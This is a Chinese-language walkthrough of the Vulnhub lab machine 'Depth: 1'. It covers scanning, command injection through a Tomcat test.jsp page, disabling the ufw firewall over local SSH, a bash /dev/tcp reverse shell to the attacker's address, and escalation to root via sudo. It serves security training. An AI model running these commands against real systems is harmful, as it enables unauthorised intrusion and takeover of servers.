首页 > 其他分享 >Vulnhub靶机:Depth: 1

Vulnhub靶机:Depth: 1

时间:2024-09-25 20:49:26浏览次数:3  
标签:6.165 防火墙 192.168 Depth Vulnhub 靶机 was 目录

0x01 项目地址

Depth: 1

0x02 靶机描述

Many times while conducting a pentest, I need to script something up to make my life easier or to quickly test an attack idea or vector. Recently I came across an interesting command injection vector on a web application sitting on a client's internet-facing estate. There was a page, running in Java, that allowed me to type arbitrary commands into a form, and have it execute them. While developer-provided webshells are always nice, there were a few caveats. The page was expecting directory listing style output, which was then parsed and reformatted. If the output didn't match this parsing, no output to me. Additionally, there was no egress. ICMP, and all TCP/UDP ports including DNS were blocked outbound.
很多时候,在进行渗透测试时,我需要编写一些脚本来使我的生活更轻松,或者快速测试攻击想法或向量。最近,我在一个客户端面向互联网的网页应用程序上遇到了一个有趣的命令注入向量。有一个页面,在Java中运行,允许我在表单中输入任意命令,并让它执行它们。虽然开发人员提供的webshell总是很好,但也有一些警告。该页面需要目录列表样式的输出,然后将其解析并重新格式化。如果输出不匹配这个解析,没有输出给我。另外,没有出口。所有TCP/UDP端口(包括DNS)都被阻止出站。

I was still able to leverage the command injection to compromise not just the server, but the entire infrastructure it was running on. After the dust settled, the critical report was made, and the vulnerability was closed, I thought the entire attack path was kind of fun, and decided to share how I went about it. Since I enjoy being a free man and only occasionally visit prisons, I've created a simple boot2root style VM that has a similar set of vulnerabilities to use in a walkthrough.
我仍然能够利用命令注入不仅危害服务器,而且危害它运行的整个基础设施。尘埃落定后,关键报告被提出,漏洞被关闭,我认为整个攻击路径是一种乐趣,并决定分享我是如何做到这一点的。因为我喜欢做一个自由的人,只是偶尔访问监狱,我已经创建了一个简单的boot2root风格的VM,它有一组类似的漏洞,可以在演练中使用。

0x03 环境搭建

靶机

Depth: 1

NAT模式 192.168.6.165

攻击机

kali

NAT模式 192.168.6.128

0x04 详细步骤

1.主机发现

靶机开机已经告诉我们IP地址了,不过我们还是扫描确认一下

nmap -sP 192.168.6.0/24

2.端口扫描

nmap -p- -A -sV -Pn 192.168.6.165

开启了8080http端口

3.目录扫描

dirsearch -u 192.168.6.165:8080

4.Web访问

浏览器访问192.168.6.165:8080

有一大段英文,翻译见下图,这是一个tomcat网页

拼接访问/manager/,弹出个登录框

http://192.168.6.165:8080/manager

拼接访问/test.jsp,得到一个输入框

翻译一下

5.漏洞挖掘

根据提示,输入ls -l /tmp,命令执行成功

这里能执行命令,尝试在这里直接反弹shell,结果失败了

尝试一下能不能执行其他命令

ls -l /home #查看家目录

通过查看家目录,发现用户bill

接着来查看一下进程

ps -aux

发现ssh服务正在运行,但刚才端口扫描时并未扫到,猜测有可能存在防火墙拦截

接着看一下/etc目录,看看是否存在防火墙

ls -l /etc/

确认存在防火墙ufw

尝试关闭防火墙

ssh bill@localhost sudo ufw disable

看样子应该是执行成功了

6.漏洞利用

接下来尝试反弹shell,kali开启监听

nc -lvvp 6666

然后执行命令

ssh bill@localhost bash -i >& /dev/tcp/192.168.6.128/6666 0>&1

成功getshell

7.权限提升

尝试直接切换root

sudo su

提权成功!

标签:6.165,防火墙,192.168,Depth,Vulnhub,靶机,was,目录
From: https://blog.csdn.net/weixin_57289348/article/details/142528566

相关文章

  • Vulnhub靶机:The Ether: EvilScience
    0x01项目地址TheEther:EvilScience(v1.0.1)0x02靶机描述ThegoalistofindoutwhatTheEtherisupto.Youwillberequiredtobreakintotheirserver,rootthemachine,andretrievetheflag.目标是找出TheEther的意图。你需要侵入他们的服务器,获取ro......
  • [vulnhub] LAMPSecurity: CTF4
    https://www.vulnhub.com/entry/lampsecurity-ctf4,83/端口扫描主机发现探测存活主机,138是靶机nmap-sP192.168.75.0/24//StartingNmap7.93(https://nmap.org)at2024-09-2314:13CSTNmapscanreportfor192.168.75.1H......
  • [vulnhub]LAMPSecurity: CTF5
    https://www.vulnhub.com/entry/lampsecurity-ctf5,84/主机发现端口扫描探测存活主机,139为靶机nmap-sP192.168.75.0/24StartingNmap7.93(https://nmap.org)at2024-09-2317:27CSTNmapscanreportfor192.168.75.1Hostisup(0.00049slatency).MACAddres......
  • vulnhub KioptrixVM3 靶场练习
    靶机下载地址:https://download.vulnhub.com/kioptrix/KVM3.rar一.安装下载完虚拟机直接打开这个文件就可以靶机的网络设为nat确保和kali一个网段正常启动是这样二.信息收集kali的ip为:192.168.231.133kali扫描iparp-scan-l确定目标主机ip为192.168.231.183......
  • VulnHub靶场笔记 - Breach: 2.1
    靶机下载地址:https://download.vulnhub.com/breach/Breach-2_final2.1.zip一.安装下载后为压缩包文件解压后双击打开.ova文件根据压缩包里附带的说明我们需要将靶机的ip配为静态IP:192.168.110.151选择虚拟网络编辑器选择仅主机的网卡并将子网ip改为110网段点......
  • 【CSS in Depth 2 精译_037】第六章 定位与堆叠上下文 + 6.1 固定定位
    当前内容所在位置(可进入专栏查看其他译好的章节内容)第一章层叠、优先级与继承(已完结)第二章相对单位(已完结)第三章文档流与盒模型(已完结)第四章Flexbox布局(已完结)第五章网格布局(已完结)【第六章定位与堆叠上下文】✔️6.1固定定位✔️6.1.1创建一个固定定......
  • Metric3D v2: A Versatile Monocular Geometric Foundation Model for Zero-shot Metr
    paperMetric3Dv2:AVersatileMonocularGeometricFoundationModelforZero-shotMetricDepthandSurfaceNormalEstimation作者MuHu1∗,WeiYin2∗†,ChiZhang3,ZhipengCai4,XiaoxiaoLong5‡,HaoChen6,KaixuanWang1,GangYu7,ChunhuaShen......
  • HTB-GreenHorn 靶机笔记
    GreenHorn靶机笔记概述GreenHorn是HTB上的一个linuxeasy难度的靶机,主要是通过信息搜集和代码审计能不能找到对我们有用的信息。靶机地址:https://app.hackthebox.com/machines/GreenHorn一丶nmap扫描1)端口扫描-sT以TCP全连接扫描,--min-rate10000以最低10000......
  • VulnHub-Narak靶机笔记
    Narak靶机笔记概述Narak是一台Vulnhub的靶机,其中有简单的tftp和webdav的利用,以及motd文件的一些知识靶机地址:https://pan.baidu.com/s/1PbPrGJQHxsvGYrAN1k1New?pwd=a7kv提取码:a7kv当然你也可以去Vulnhub官网下载一、nmap扫描1)主机发现sudonmap-sn192.168.84.0/24......
  • vulnhub - medium_socnet
    medium_socnet基本信息kaliip:192.168.157.161靶机ip:192.168.157.179主机发现与端口扫描nmap-sT--min-rate10000-p-192.168.157.179nmap-sT-sV-sC-O-p22,5000192.168.157.179没什么可利用信息,web页面的输入框不会执行命令目录扫描gobusterdir-uhttp://1......